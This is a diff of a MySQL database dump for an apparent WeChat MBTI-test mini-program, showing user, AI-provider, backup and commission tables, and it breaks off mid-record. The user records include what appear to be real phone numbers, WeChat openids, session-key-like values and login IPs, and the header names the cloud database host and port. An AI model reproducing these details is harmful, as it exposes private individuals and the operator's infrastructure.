`phone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '手机号', - `gender` tinyint(1) NULL DEFAULT 0 COMMENT '性别:0未知 1男 2女', - `country` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '国家', - `province` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '省份', - `city` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '城市', - `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常 0禁用', - `lastLoginAt` int(11) NULL DEFAULT NULL COMMENT '最后登录时间(时间戳)', - `lastLoginIp` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '最后登录 IP', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '当前绑定企业ID:通过企业分享测试链接进入时更新,个人分享不更新', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - `walletBalance` int(11) NOT NULL DEFAULT 0 COMMENT '钱包余额(分)', - `walletTotalEarned` int(11) NOT NULL DEFAULT 0 COMMENT '历史累计佣金(分)', - `walletPending` int(11) NOT NULL DEFAULT 0 COMMENT '待入账佣金(分)', - PRIMARY KEY (`id`) USING BTREE, - UNIQUE INDEX `idx_openid`(`openid`) USING BTREE, - INDEX `idx_unionid`(`unionid`) USING BTREE, - INDEX `idx_status`(`status`) USING BTREE, - INDEX `idx_lastLoginAt`(`lastLoginAt`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE, - INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 42 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '微信小程序用户表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_wechat_users --- ---------------------------- -INSERT INTO `mbti_wechat_users` VALUES (1, 'oucCB1-ZVIkM-ZfN1L2556LQ4nw0', NULL, 'C0UlsErBrD74oAaBiqbHzQ==', 'wong', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260213/img_698ed0486ea5c6.35014889.jpeg', '18649947301', 0, NULL, NULL, NULL, 1, 1773306690, '192.168.1.22', 6, 1770964161, 1773306690, 9400, 10000, 0); -INSERT INTO `mbti_wechat_users` VALUES (2, 'oucCB149wurgAL6QNW7ryIDq3yKk', NULL, '8I8CeS/3kT7eGwPw+uHW9g==', NULL, NULL, '18924071446', 0, NULL, NULL, NULL, 1, 1773287158, '124.220.124.244', NULL, 1772421720, 1773287182, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (3, 'oucCB13ZKUnsRaYlQssbwTPhVd4M', NULL, 'l3Mpv7KAiY010VFaqRkBhw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772421723, '124.221.213.176', NULL, 1772421723, 1772421723, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (4, 'oucCB15QnGvXVsH3lM4f9VGM3qqM', NULL, 'zlkw6DhwWn8Cjt1r5YDb/w==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773287158, '124.221.213.176', NULL, 1772421723, 1773287158, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (5, 'oucCB138gzETJPvifeLNMzJF6pWo', NULL, 'p2+DgeFte4tyJNY5xu5Y0Q==', NULL, 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a5027b019460.49988894.png', NULL, 0, NULL, NULL, NULL, 1, 1772421759, '119.84.150.100', NULL, 1772421729, 1772421759, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (6, 'oucCB15WDKCdwfNo-fpyS72iY5IQ--', NULL, '3Z7XoZZOuXsFCAeOM2ZaaQ==', '少年梦想家', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc8ceabbea7.94372759.jpeg', '13110806007', 0, NULL, NULL, NULL, 1, 1773130511, '222.76.193.38', NULL, 1772422831, 1773286899, 2620, 2620, 0); -INSERT INTO `mbti_wechat_users` VALUES (7, 'oucCB1_5bbtQ81rUGzlFAe26QYJM', NULL, 'TAODhksGkILOe+ZS5GpJ4w==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772428029, '119.84.150.113', NULL, 1772428029, 1772428029, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (8, 'oucCB16Y_fH9Iw-cPIiKib7Q0gVk', NULL, 'aZkoI0tiaI2XXLAAjwNbUg==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772593719, '124.220.124.244', NULL, 1772432954, 1772593719, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (9, 'oucCB1_sptMQ_vqSc6RhSOlseE0Y', NULL, '2DfWem3RagjzG8x0iPZjXg==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772432999, '101.34.86.201', NULL, 1772432955, 1772432999, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (10, 'oucCB11HD-1l-YS391Ksx0p6DKeQ', NULL, 'jIxvJ2dBwKgDpM7etmgXtw==', NULL, 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a5027b019460.49988894.png', NULL, 0, NULL, NULL, NULL, 1, 1772432992, '119.84.150.101', NULL, 1772432961, 1772432992, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (11, 'oucCB1-b0mGsNG_EP9XxmXmmfmls', NULL, '4mx3aYCq5PwfBclj1iwntw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772433827, '119.84.150.113', NULL, 1772433827, 1772433827, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (12, 'oucCB17fP8tjK8p6L10kYtM_u-zM', NULL, 'N/fuTTQvjPFsdjZMEwTyZA==', '爱赛车的阿猫', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf356ec8f3.31976760.jpg', '13779954946', 0, NULL, NULL, NULL, 1, 1773217705, '222.76.193.38', NULL, 1772534377, 1773229546, 14, 14, 0); -INSERT INTO `mbti_wechat_users` VALUES (13, 'oucCB10Xq40i5Kz3D0byaA3LXGsU', NULL, '6he+DL8PwR7KwRdLzufbeQ==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772587863, '124.221.213.176', NULL, 1772587863, 1772587863, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (14, 'oucCB1zoVf5jzHeA5YNtouDhO1Uw', NULL, '6QwjTxDBJhjm02TdFBMIwA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772609271, '101.34.86.201', NULL, 1772587866, 1772609271, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (15, 'oucCB1-cPFRxWwZLU1Rt8Jl3yqkM', NULL, '1o+Ieuce2AYUP4MSFV9oYA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772587871, '119.84.150.102', NULL, 1772587871, 1772587871, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (16, 'oucCB14MiTaXm3IAh_eKDkui42aY', NULL, '1XfGYR4ZXEOueNgH8NZ2xQ==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772588221, '124.221.213.176', NULL, 1772588221, 1772588221, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (17, 'oucCB1zfI9ZC4rtyS9kpgq1TFv7s', NULL, '90xVsk1deW6kNtxtswQReA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772588229, '119.84.150.115', NULL, 1772588229, 1772588229, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (18, 'oucCB19sPEfQMkcHuath9liaVp4o', NULL, '6qIZC+5eTgLm+d3Iriwi8g==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772589192, '119.84.150.113', NULL, 1772589192, 1772589192, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (19, 'oucCB10X6rrCC6QPeIpQk4u3mhLk', NULL, 'JBzoreuWsEYjPlQpjpdMbA==', NULL, NULL, '18924071446', 0, NULL, NULL, NULL, 1, 1772593719, '124.221.213.176', NULL, 1772593719, 1772593735, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (20, 'oucCB1zOYr5nheN_OuCZf1EbS6BI', NULL, '3Da5VazXw2AkCUv00ZdgeA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772593727, '119.84.150.100', NULL, 1772593727, 1772593727, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (21, 'oucCB19_JfV_1PnXxL_GOgwPDZ5w', NULL, '1KIxerwbaejMl3/htXoMFw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772610153, '119.84.150.101', NULL, 1772594436, 1772610153, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (22, 'oucCB11X7Hn-4gn8Q10sykL9aHUw', NULL, 'IUG7/aDWL16UJT0fnEIcEw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772609270, '124.221.213.176', NULL, 1772609270, 1772609270, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (23, 'oucCB17O20KVCvLqkpVYTs8oGaJQ', NULL, 'UySPIMyFc4M3cnSSvbX0eA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1772609278, '119.84.150.115', NULL, 1772609278, 1772609278, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (24, 'oucCB181zBrbwJwnqN11V2rSeS7E', NULL, 'ZkTEV1H6s08LXlLvfSdXIQ==', '#卡若🔥(4:00起床的男人)', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14e40ae20b9.53607517.jpg', '15880802661', 0, NULL, NULL, NULL, 1, 1773231282, '222.76.193.38', NULL, 1773061047, 1773231282, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (25, 'oucCB18Dwy5wOVuFSAloFg4b1bl8', NULL, 'OE5HKcEnqpsVIh4Vk47qJA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773066331, '175.24.88.249', NULL, 1773066331, 1773066331, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (26, 'oucCB15WDKCdwfNo-fpyS72iY5IQ', NULL, '3Z7XoZZOuXsFCAeOM2ZaaQ==', NULL, NULL, '13110806007', 0, NULL, NULL, NULL, 1, 1773137368, '222.76.193.38', NULL, 1773133041, 1773137368, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (27, 'oucCB1-K4ri1DGRVesilwXqw1Qxk', NULL, 'fMuJbnjzGigkFBxdpUVQBw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773217886, '27.149.120.53', NULL, 1773217886, 1773217886, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (28, 'oucCB1-bQ7huEfCauj_MQOjnGuEs', NULL, 'cTImYWuAznp8D4BiOOWRRw==', NULL, NULL, '13411334222', 0, NULL, NULL, NULL, 1, 1773219235, '223.104.71.240', NULL, 1773217917, 1773219235, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (29, 'oucCB135WoglJJE6CSo4lETLk1OE', NULL, '5UlxDaBGnSdwXbcNswv97w==', NULL, NULL, '15860758013', 0, NULL, NULL, NULL, 1, 1773219510, '223.104.48.225', NULL, 1773218797, 1773219510, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (30, 'oucCB1_8mgBxu2fIQKLfwU62vl8I', NULL, 'NTRPgwfEBLWSZNPROn032Q==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773219121, '223.104.71.248', NULL, 1773219121, 1773219121, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (31, 'oucCB11VN18Rxc80sAUdag1aGkPY', NULL, 'Waz1oii3uwp9ZAQgVklbqA==', NULL, NULL, '18659005777', 0, NULL, NULL, NULL, 1, 1773219310, '117.30.58.90', NULL, 1773219310, 1773219346, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (32, 'oucCB1335FBVeJvdMbS6FpwBKKvI', NULL, 'NqIxNIOgr7bpuuAPwusL1g==', NULL, NULL, '15805958716', 0, NULL, NULL, NULL, 1, 1773222524, '110.84.204.164', NULL, 1773222524, 1773222574, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (33, 'oucCB1wHXJDd6Sl82PZsxcn3V1h8', NULL, 'Oula89tgjDUXcMetIaBhog==', NULL, NULL, '18850346418', 0, NULL, NULL, NULL, 1, 1773228674, '112.48.34.30', NULL, 1773227436, 1773228674, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (34, 'oucCB1zbypvt8QNEexA_EiouHkaU', NULL, 'h1Fh+tvT1GcOSxXyIzZiuA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773229125, '222.76.193.38', NULL, 1773227693, 1773229125, 3, 3, 0); -INSERT INTO `mbti_wechat_users` VALUES (35, 'oucCB18qWRguSU_LK5EP1V_FqdLk', NULL, 'LgIWb7H3E+5ZJ6mWHy9A5A==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773228752, '117.28.9.96', NULL, 1773227750, 1773228752, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (36, 'oucCB1yCpTUcX2CPZteunMUKEFvE', NULL, 'zIPfx44UMAi1ALBK5yrLPg==', NULL, NULL, '18850326353', 0, NULL, NULL, NULL, 1, 1773229479, '27.154.11.72', NULL, 1773229479, 1773229513, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (37, 'oucCB134llW9EoR6OtP1AM50LBOM', NULL, 'SGc5dSebmvp+TtpdOOwNdw==', NULL, NULL, '17395813556', 0, NULL, NULL, NULL, 1, 1773229676, '120.32.220.217', NULL, 1773229676, 1773229701, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (38, 'oucCB18frhXQcLlU2hUJ1c7ooL3g', NULL, '3IwAZ9hCFqdInbu3OoYfBg==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773231619, '116.29.89.143', NULL, 1773231619, 1773231619, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (39, 'oucCB1y6atjlKTz619OUmRKBDO30', NULL, '+BmcKqoenVTFUGy4rh/fOw==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773287158, '124.220.124.244', NULL, 1773287158, 1773287158, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (40, 'oucCB12uNbF9uKd67yXASAHWn_bQ', NULL, 'QrbbWtXwVDMjMQj68ua8nA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773287165, '119.84.150.102', NULL, 1773287165, 1773287165, 0, 0, 0); -INSERT INTO `mbti_wechat_users` VALUES (41, 'oucCB167FI5QToi3SGSwil9BcCtM', NULL, 'H3V1Dh4xUYuSY64D4hULuA==', NULL, NULL, NULL, 0, NULL, NULL, NULL, 1, 1773290278, '119.84.150.103', NULL, 1773290278, 1773290278, 0, 0, 0); - --- ---------------------------- --- Table structure for mbti_enterprise_resume_uploads --- ---------------------------- -DROP TABLE IF EXISTS `mbti_enterprise_resume_uploads`; -CREATE TABLE `mbti_enterprise_resume_uploads` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', - `userId` int(11) NOT NULL COMMENT '用户ID(wechat_users.id)', - `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,可选', - `fileUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '文件访问URL', - `fileName` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '原始文件名', - `is_default` tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否默认简历:1是 0否,同用户同企业仅一条为1', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_userId`(`userId`) USING BTREE, - INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '企业版简历上传记录表' ROW_FORMAT = Dynamic; - --- 若表已存在且无 is_default 列,请执行: --- ALTER TABLE mbti_enterprise_resume_uploads ADD COLUMN is_default tinyint(1) NOT NULL DEFAULT 0 COMMENT '是否默认简历:1是 0否' AFTER fileName; - -SET FOREIGN_KEY_CHECKS = 1; +/* + Navicat Premium Data Transfer + + Source Server : kr_存客宝 + Source Server Type : MySQL + Source Server Version : 50736 + Source Host : 56b4c23f6853c.gz.cdb.myqcloud.com:14413 + Source Schema : mbti + + Target Server Type : MySQL + Target Server Version : 50736 + File Encoding : 65001 + + Date: 12/03/2026 17:12:50 +*/ + +SET NAMES utf8mb4; +SET FOREIGN_KEY_CHECKS = 0; + +-- ---------------------------- +-- Table structure for mbti_activities +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_activities`; +CREATE TABLE `mbti_activities` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '活动ID', + `userId` int(11) NULL DEFAULT NULL COMMENT '用户ID', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `type` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '活动类型', + `action` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '操作描述', + `relatedId` int(11) NULL DEFAULT NULL COMMENT '关联ID', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_type`(`type`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '活动记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_ai_providers +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_ai_providers`; +CREATE TABLE `mbti_ai_providers` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID', + `providerId` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商ID:openai/anthropic/deepseek等', + `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '服务商名称', + `enabled` tinyint(1) NULL DEFAULT 0 COMMENT '是否启用:1启用,0禁用', + `visible` tinyint(1) NOT NULL DEFAULT 1 COMMENT '是否在列表中显示:1显示,0隐藏', + `apiKey` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API密钥(加密存储)', + `apiEndpoint` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'API端点', + `model` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '默认模型', + `organizationId` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'Organization ID(OpenAI专用)', + `maxTokens` int(11) NULL DEFAULT 4096 COMMENT '最大Token数', + `balanceAlertEnabled` tinyint(1) NULL DEFAULT 0 COMMENT '余额告警是否启用', + `balanceAlertThreshold` decimal(10, 2) NULL DEFAULT 10.00 COMMENT '余额告警阈值', + `notes` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '备注', + `docUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '文档/API Key申请链接', + `isFree` tinyint(1) NULL DEFAULT 0 COMMENT '是否免费额度服务商', + `supportsBalance` tinyint(1) NULL DEFAULT 1 COMMENT '是否支持余额查询', + `lastBalance` decimal(10, 2) NULL DEFAULT NULL COMMENT '最后查询的余额', + `lastBalanceCurrency` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '余额币种:CNY/USD', + `lastBalanceCheckedAt` int(11) NULL DEFAULT NULL COMMENT '最后余额查询时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '软删除时间戳,有值表示已删除', + `extraConfig` json NULL COMMENT '其他配置参数(JSON),方便扩展接收其他参数', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_providerId`(`providerId`) USING BTREE, + INDEX `idx_enabled`(`enabled`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 10 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = 'AI服务商配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_ai_providers +-- ---------------------------- +INSERT INTO `mbti_ai_providers` VALUES (1, 'openai', 'OpenAI (GPT)', 0, 1, NULL, 'https://api.openai.com/v1', 'gpt-4.1-mini', '', 4096, 0, 10.00, '', 'https://developers.openai.com/api/docs', 0, 1, 100.00, 'USD', 1772068185, 1770882819, 1772443541, NULL, '[]'); +INSERT INTO `mbti_ai_providers` VALUES (2, 'anthropic', 'Anthropic (Claude)', 0, 0, NULL, 'https://api.anthropic.com/v1', 'claude-sonnet-4-20250514', NULL, 4096, 0, 10.00, NULL, 'https://console.anthropic.com/settings/keys', 0, 0, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (3, 'deepseek', 'DeepSeek', 0, 0, NULL, 'https://api.deepseek.com/v1', 'deepseek-chat', NULL, 4096, 0, 10.00, NULL, 'https://platform.deepseek.com/api_keys', 0, 1, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (4, 'moonshot', 'Moonshot (Kimi)', 0, 0, NULL, 'https://api.moonshot.cn/v1', 'moonshot-v1-8k', NULL, 4096, 0, 10.00, NULL, 'https://platform.moonshot.cn/console/api-keys', 0, 1, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (5, 'groq', 'Groq', 0, 0, NULL, 'https://api.groq.com/openai/v1', 'llama3-8b-8192', '', 8192, 0, 0.00, '免费额度,无需余额监控', 'https://console.groq.com/keys', 1, 0, NULL, NULL, NULL, 1770882819, 1770882850, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (6, 'coze', 'Coze (扣子)', 0, 0, NULL, 'https://api.coze.cn/v1', 'DeepSeek-V3-0324', '', 4096, 0, 10.00, '', 'https://www.coze.cn/open/api', 0, 0, NULL, NULL, NULL, 1770882819, 1771988128, NULL, '{\"bot_id\": \"7488186374479347731\", \"space_id\": \"7487098730056515619\"}'); +INSERT INTO `mbti_ai_providers` VALUES (7, 'qwen', '通义千问 (Qwen)', 0, 0, NULL, 'https://dashscope.aliyuncs.com/compatible-mode/v1', 'qwen-turbo', NULL, 4096, 0, 10.00, NULL, 'https://dashscope.console.aliyun.com/apiKey', 0, 0, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (8, 'zhipu', '智谱 (GLM)', 0, 0, NULL, 'https://open.bigmodel.cn/api/paas/v4', 'glm-4-flash', NULL, 4096, 0, 10.00, NULL, 'https://open.bigmodel.cn/usercenter/apikeys', 0, 0, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (9, 'zhizengzeng', '智增增\r\n', 1, 1, NULL, 'https://api.zhizengzeng.com/v1', 'gpt-4.1', '', 4096, 0, 10.00, '', 'https://doc.zhizengzeng.com', 0, 1, NULL, NULL, NULL, 1770882819, 1773279905, NULL, '[]'); + +-- ---------------------------- +-- Table structure for mbti_backup_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_backup_records`; +CREATE TABLE `mbti_backup_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `filename` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '备份文件名', + `filepath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '本地文件路径', + `fileSize` bigint(20) NULL DEFAULT 0 COMMENT '文件大小(字节)', + `ossUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS访问URL', + `ossPath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS对象路径', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'success' COMMENT '状态:success成功/failed失败', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_filename`(`filename`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '数据库备份记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_backup_records +-- ---------------------------- +INSERT INTO `mbti_backup_records` VALUES (1, 'backup_mbti_20260212160946.sql', 'F:\\karuo\\mbti\\api\\runtime/backup/backup_mbti_20260212160946.sql', 82181, 'https://ac-weremote-s2.oss-cn-shenzhen.aliyuncs.com/backup/2026/02/12/backup_mbti_20260212160946.sql', 'backup/2026/02/12/backup_mbti_20260212160946.sql', 'success', NULL, 1770883787, 1770883787); + +-- ---------------------------- +-- Table structure for mbti_commission_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_commission_records`; +CREATE TABLE `mbti_commission_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `agentId` int(11) NOT NULL COMMENT '分销商ID', + `orderId` int(11) NULL DEFAULT NULL COMMENT '订单ID', + `commissionRate` decimal(5, 2) NULL DEFAULT 0.00 COMMENT '佣金比例(%)', + `commissionAmount` decimal(10, 2) NOT NULL COMMENT '佣金金额', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending' COMMENT 'pending/paid/frozen/cancelled', + `paidAt` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `inviterId` int(11) NULL DEFAULT NULL COMMENT '推荐人ID', + `inviteeId` int(11) NULL DEFAULT NULL COMMENT '付款用户ID', + `bindingId` int(11) NULL DEFAULT NULL COMMENT '绑定记录ID', + `orderAmount` int(11) NOT NULL DEFAULT 0 COMMENT '订单金额(分)', + `commissionFen` int(11) NOT NULL DEFAULT 0 COMMENT '佣金金额(分)', + `frozenAt` int(11) NULL DEFAULT NULL COMMENT '冻结时间', + `unfrozenAt` int(11) NULL DEFAULT NULL COMMENT '解冻时间', + `testResultId` int(11) NULL DEFAULT NULL, + `commissionSource` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'payment', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_test_commission`(`testResultId`, `commissionSource`) USING BTREE, + INDEX `idx_agentId`(`agentId`) USING BTREE, + INDEX `idx_orderId`(`orderId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_scope`(`scope`) USING BTREE, + INDEX `idx_dist_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_inviterId`(`inviterId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 46 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '佣金记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_commission_records +-- ---------------------------- +INSERT INTO `mbti_commission_records` VALUES (1, 6, NULL, 0.00, 0.10, 'paid', 1773039077, 1773039077, 1773039077, 'personal', 5, 6, 1, 2, 0, 10, NULL, NULL, 84, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (2, 6, NULL, 0.00, 0.10, 'paid', 1773040163, 1773040163, 